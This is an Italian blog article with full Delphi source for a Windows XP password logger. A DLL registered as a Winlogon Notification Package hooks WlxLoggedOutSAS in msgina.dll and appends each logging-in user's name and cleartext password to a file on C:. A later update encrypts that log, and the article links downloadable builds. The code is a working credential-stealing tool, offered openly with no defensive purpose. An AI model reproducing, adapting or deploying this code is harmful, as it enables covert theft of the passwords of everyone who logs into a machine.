Home | Chi sono | Contattami
 

Progr. lineare

Delphi
 
Componenti
  Database
 
Miei articoli

Windows

Miei articoli 

 

Registrare le password al Login di Windows


In questo articolo vado ad esporre una tecnica per poter loggare la password in chiaro di un utente che fa Login su Windows; ho fatto il test su Windows XP (Home e Professional) e funziona con qualsiasi utenza: ho fatto dei test col cambio rapido utente attivo e quando vado ad eseguire il login di qualsiasi utenza, mi trovo sul file di log prestabilito il nome dell'utenza e la sua password in chiaro. Non ho fatto delle prove su Windows 2000 server, Windows Server 2003 e Windows Server 2003 R2, ma penso che dovrebbe andare. Fatemi sapere se funzia anche li sopra.

1. Immersione

Questo articolo potrebbe essere il preludio ad un'immensa mole di informazioni relativamente a Windows (msgina.dll più comunemente chiamata GINA, window stations, desktops, api hooking in user mode, winlogon notification packages, solo per descrivere i concetti cardine). Facendo riferimento ai concetti base appena enunciati, è doveroso dire che a partire da Windows Vista, i concetti di di GINA e Winlogon Notification Packages non faranno più parte del sistema, ma del resto Vista è appena uscito (scrivo quest'articolo in data 6 Febbraio 2007) e tempo ancora ci vorrà prima che venga fuori il fratello lato server (battezzato per ora Longhorn Server). Quindi basiamoci su quella che è tuttora la totalità dei sistemi operativi di casa Microsoft ossia la famiglia XP, 2000, 2003: i concetti precedentemente enunciati sono parte integrante di questa famiglia. Non ho ancora finito di sistemare un mio articolo sui Winlogon Notification Package, più che altro per la paranoia di affrontare con dovizia di dettagli tutti i concetti in campo; quindi per il momento dovremo accontentarci di prendere per buona questa tecnologia (chiaramente per chi volesse approfondire, il Platform SDK è ben lieto di ottemperare agli obblighi di informazione). Bene, desideroso di cancellare nel più breve tempo possibile, le ca***te scritte nelle ultime righe e sostituirle con un sintetico ma efficace link al mio futuro articolazzo, proseguiamo il discorso: come prima cosa vorrei dire che, caso ci fosse qualcuno interessato ad approfondire i meandri della GINA, è bene che cominci a googlare un pò perchè non ho la minima intenzione di partorire un bambino di nome figlio di GINA. Detto questo inserisco invece il link all'api hooking in user mode: TAAACCCC. Bene. Ah dimenticavo una cosa: ho cominciato questo paragrafo dicendo solennemente che questo articolo potrebbe essere il preludio ad un'immensa mole di informazioni relativamente a Windows; mi spiace ma vale il condizionale, nel senso che non è il caso di buttare tanta carne al fuoco; ci limiteremo quindi al minimo indispensabile per rendere il tutto più chiaro.

1.1 Concetto di base

La chiave di volta di tutto è intercettare l'API WlxLoggedOutSAS  implementa nella dll msgina.dll. Questa dll viene caricata da winlogon.exe nella fase di creazione, quindi una volta che il loader di Windows ha creato il processo relativo a winlogon.exe ed ha provveduto al caricamento di tutti i moduli dll presenti nella sua tabella di import, ci troviamo un processo (winlogon.exe) con msgina.dll ben mappata nel suo spazio di memoria. A questo punto occorre mappare una dll nello spazio di memoria di winlogon, la quale vada a mettere un hook (utilizzando la procedura di hooking definita nell'articolo sull' API Hooking in User Mode) sull'api WlxLoggedOutSAS. La versione custom della WlxLoggedOutSAS (versione custom che è appunto implementata nella nostra dll che andiamo a mappare), chiamerà la versione originale ed in più andrà a loggare i valori del nome utente e della password: questi valori infatti fanno parte del record usato come ultimo parametro dalla WlxLoggedOutSAS. Qual'è il modo migliore per garantire il caricamento della nostra dll nello spazio di memoria di winlogon? La risposta è ricorrere ad un winlogon notification package (d'ora in poi WNP). Un WNP è una dll che viene "registrata" nel registro di Windows: di seguito un'immagine per rendere meglio l'idea

Facendo riferimento alla figura si ha che la registrazione della dll avviene nella seguente maniera

Considero la chiave di registro seguente:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify]

Creo una sottochiave con un nome qualsiasi: nell'esempio ho scelto PWDLogger

All'interno della sottochiave creo i valori che vediamo in figura.

DLLName indica il nome della dll: in questo caso WinLogonHijacker.dll; poichè non vado a specificare un percorso, la dll in questione dovrà essere sistemata nella cartella di sistema (\windows\system32)

Tralasciamo per il momento i valori di tipo DWORD (per i quali rimando tranquillamente al Platform SDK)

I valori di tipo REG_SZ hanno tutti il medesimo significato. Ognuno di essi rappresenta un instante specifico: ad esempio Logon fa riferimento all'istante in cui l'utente inserisce username e password e, in seguito all'inserimento corretto dei medesimi, inizia l'apertura della sessione; StartShell è l'istante, successivo al Logon, in cui viene avviata la Shell (di default explorer.exe); PostShell è l'istante in cui la shell viene dichiarata effettivamente attivata; StartScreenSaver è l'istante in cui viene lanciato lo ScreenSaver (StopScreenSaver non c'è bisogno di dirlo); Lock si ha quando faccio Windows + L; Unlock quando rientro nella sessione. Bene, il dato associato ad ognuno di questi nomi, è il nome di una funzione esportata dalla dll: quindi se ho il valore StartScreenSaver con dato pari a StartScreenSaverHandler, ciò significa che in corrispondenza dell'avvio dello ScreenSaver, winlogon (e sottolineo il signor processo winlogon) andrà a chiamare la funzione StartScreenSaverHandler esportata dal nostro WNP. Come ultima cosa bisogna dire che, non occorre specificare tutti i valori sopra elencati: nell'immagine si possono vedere tutti i valori definibili nell'ambito di un WNP, ed ho scelto di metterli tutti per definire lo scheletro di base di un WNP; nella pratica si andrà ad utilizzare solo i valori necessari nell'ambito della specifica implementazione: ad esempi se mi interessa loggare data e ora di avvio dello screensaver e nient'altro, userò solo il valore StartScreenSaver e nella mia dll andrò a definire e ad esportare solo la funzione associata a questo evento (funzione che nell'esempio si chiama StartScreenSaverHandler ma che potrei chiamare in qualsiasi modo: l'importante è che assegno al valore StartScreenSaver un dato che corrisponde al nome con cui vado ad esportare la funzione nella dll).        

Bene, ora che abbiamo visto come registrare un WNP, torniamo all'inizio: quand'è che sta benedetta dll (WNP) viene mappata nello spazio di memoria di winlogon? La risposta è: agli inizi della propria esecuzione; quindi una volta che il loader ha creato il processo associato a winlogon.exe ed ha caricato nel suo spazio di memoria tutti i moduli inclusi nella Tabella di Import, le prime righe di codice del processo vanno a leggere il registro, leggono la chiave sopra definita, e per ogni sottochiave, mappano nello spazio di memoria di winlogon, le dll di volta in volta specificate dal valore DllName. Stupendo: quindi, visto che dobbiamo Hookare una funzione esportata dalla dll msgina.dll che si trova nello spazio di memoria di winlogon, e quindi dobbiamo mappare anche la nostra dll di hooking nello spazio di memoria di winlogon, quale miglior strada che implementare la nostra dll di hooking come WNP.

2. Implementazione

Di seguito il sorgente del nostro WNP

library WinLogonHijacker; uses Windows, InterceptUnit; type TFnMsgeCallback = function (bVerbose: Boolean; lpMessage: PWideChar): Cardinal; stdcall; TWlxNotificationInfo = record Size: Cardinal; Flags: Cardinal; UserName: PWideChar; Domain: PWideChar; WindowStation: PWideChar; Token: Cardinal; Desktop: Cardinal; StatusCallback: TFnMsgeCallback; end; PWlxNotificationInfo = ^TWlxNotificationInfo; procedure StartupHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure LogonHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure StartShellHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure LockHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure UnLockHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure StartScreenSaverHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure StopScreenSaverHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure LogoffHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure ShutdownHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure DisconnectHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure ReconnectHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure PostShellHandler(Info: PWlxNotificationInfo); stdcall; begin end; procedure EntryPointProc(reason: integer); begin case reason of DLL_PROCESS_ATTACH: //1 begin //disabilito la chiamata dell'entrypoint della DLL //ad ogni creazione (DLL_THREAD_ATTACH) o terminazione (DLL_THREAD_DETACH) //di un thread nello spazio di memoria del proceso in cui è caricata la dll DisableThreadLibraryCalls(hInstance); SetHooks; end; DLL_THREAD_ATTACH: //2 begin end; DLL_PROCESS_DETACH: //3 begin end; DLL_THREAD_DETACH: //0 begin end; end; end; exports StartupHandler, LogonHandler, StartShellHandler, LockHandler, UnLockHandler, StartScreenSaverHandler, StopScreenSaverHandler, LogoffHandler, ShutdownHandler, DisconnectHandler, ReconnectHandler, PostShellHandler; begin DllProc := @EntryPointProc; DllProc(DLL_PROCESS_ATTACH); end.

Piccole osservazioni:

avrei potuto evitare di definire tutte le funzioni e di esportarle in quanto non ci interessa, in questo contesto, di avere segnalazioni di questo tipo, solo che ho notato che, omettendo le funzioni dal registro, poi la dll non veniva caricata: non so dire con certezza se fosse quello il problema o ci fosse un altro errore concomitante, tuttavia alla fine ho optato per uno scheletro di WNP con tutti gli handler possibili (ognuno senza implementazione). In principio avevo ridotto all'osso l'elenco dei valori in figura limitandomi al valore DLLName ma la dll non veniva caricata allora mi son detto: per non saper ne leggere ne scrivere mettiamo tutto (non avevo neanche voglia più di tanto di far tutte le prove e vedere qual è l'insieme minimo di valori accettati). La stessa cosa vale per la chiave di registro che sarà completa proprio come nell'immagine sopra.

2.1 Hooking

La dll al paragrafo 2. chiama, nel suo entrypoint, la procedura SetHook che si occupa di effettuare l'hooking sulla WlxLoggedOutSAS. Di seguito il sorgente della Unit InterceptUnit che implementa tale procedura

unit InterceptUnit; interface uses Windows, uHooking; procedure SetHooks; procedure RemoveHooks; implementation //possibili output della funzione WlxLoggedOutSAS const WLX_SAS_ACTION_LOGON = 1; //un utente si è loggato WLX_SAS_ACTION_NONE = 2; //il tentativo di login è risultato fallimentare WLX_SAS_ACTION_SHUTDOWN = 5; //è stato richiesto lo shutdown del sistema type PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO; _WLX_MPR_NOTIFY_INFO = record // // The name of the account logged onto (e.g. REDMOND\Joe). // The string pointed to by this field must be separately // allocated and will be separately deallocated by Winlogon. // pszUserName: PWideChar; // // The string pointed to by this field must be separately // allocated and will be separately deallocated by Winlogon. // pszDomain: PWideChar; // // Cleartext password of the user account. If the OldPassword // field is non-null, then this field contains the new password // in a password change operation. The string pointed to by // this field must be separately allocated and will be seperately // deallocated by Winlogon. // pszPassword: PWideChar; // // Cleartext old password of the user account whose password // has just been changed. The Password field contains the new // password. The string pointed to by this field must be // separately allocated and will be separately deallocated by // Winlogon. // pszOldPassword: PWideChar; end; WLX_MPR_NOTIFY_INFO = _WLX_MPR_NOTIFY_INFO; TWlxMprNotifyInfo = WLX_MPR_NOTIFY_INFO; PWlxMprNotifyInfo = PWLX_MPR_NOTIFY_INFO; var OriginalWlxLoggedOutSAS, TrampolineWlxLoggedOutSAS: function( pWlxContext: Pointer; dwSasType: Cardinal; pAuthenticationId: Pointer; pLogonSid: Pointer; pdwOptions: Pointer; phToken: Pointer; pNprNotifyInfo: PWLX_MPR_NOTIFY_INFO; pProfile: Pointer ): Integer; stdcall; function ScriviSuFile(nomefile: string; val: string): Boolean; var error_log_File : TextFile; FileHandle: integer; BytesWritten: Cardinal; disp1 : Cardinal; disp2: Pointer; LogLine: string; begin Result := False; try LogLine := val + #13#10; FileHandle := CreateFileA( PAnsiChar(nomefile), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 ); if FileHandle = -1 then Exit; disp1 := 0; disp2 := nil; if SetFilePointer(FileHandle, disp1, disp2, FILE_END) = -1 then Exit; if not WriteFile(FileHandle, PAnsiChar(LogLine)^, Length(LogLine), BytesWritten, nil) then Exit; finally if FileHandle <> -1 then CloseHandle(FileHandle); end; end; function CustomWlxLoggedOutSAS( pWlxContext: Pointer; dwSasType: Cardinal; pAuthenticationId: Pointer; pLogonSid: Pointer; pdwOptions: Pointer; phToken: Pointer; pNprNotifyInfo: PWLX_MPR_NOTIFY_INFO; pProfile: Pointer ): Integer; stdcall; begin result := TrampolineWlxLoggedOutSAS( pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo, pProfile ); if Result = WLX_SAS_ACTION_LOGON then begin ScriviSuFile('c:\PWDLogger.txt', WideCharToString(pNprNotifyInfo^.pszUserName) + ' ; ' + WideCharToString(pNprNotifyInfo^.pszPassword)); end; end; //procedura per definire tutte le intercettazioni e sostituzioni procedure SetHooks; var h: integer; begin h := GetModuleHandle('msgina.dll'); if h > 0 then begin @OriginalWlxLoggedOutSAS := GetProcAddress(h,'WlxLoggedOutSAS'); if @OriginalWlxLoggedOutSAS <> nil then HookCode(@OriginalWlxLoggedOutSAS,@CustomWlxLoggedOutSAS,@TrampolineWlxLoggedOutSAS); end; end; //procedura per eliminare tutte le intercettazioni e sostituzioni procedure RemoveHooks; begin UnhookCode(@TrampolineWlxLoggedOutSAS); end; end.

Come si può vedere, il log avviene nel file c:\PWDLogger.txt

WinLogonHijacker.7z

Utilizzo di un file di log criptato (28/09/07)

Con questa modifica, il file su cui vengono loggate username e password è criptato. Ho utilizzato le unit definite nell'ambito dell'articolo Criptazione: algoritmo di Rijndael per ottenere un log criptato. Il crypting avviene tramite l'algoritmo di Rijndael in CBC: per decriptare il file basta scaricarsi l'applicativo all'indirizzo crypto_kol_src_exe.7z ed impostare il CipherMode su CBC.

WinLogonHijacker_CryptedLog.7z

Data ultimo aggiornamento: 28/09/2007 (Il file su cui vado a loggare username e password è ora criptato)

 

 

 

 

 

        

 
 
Your Ad Here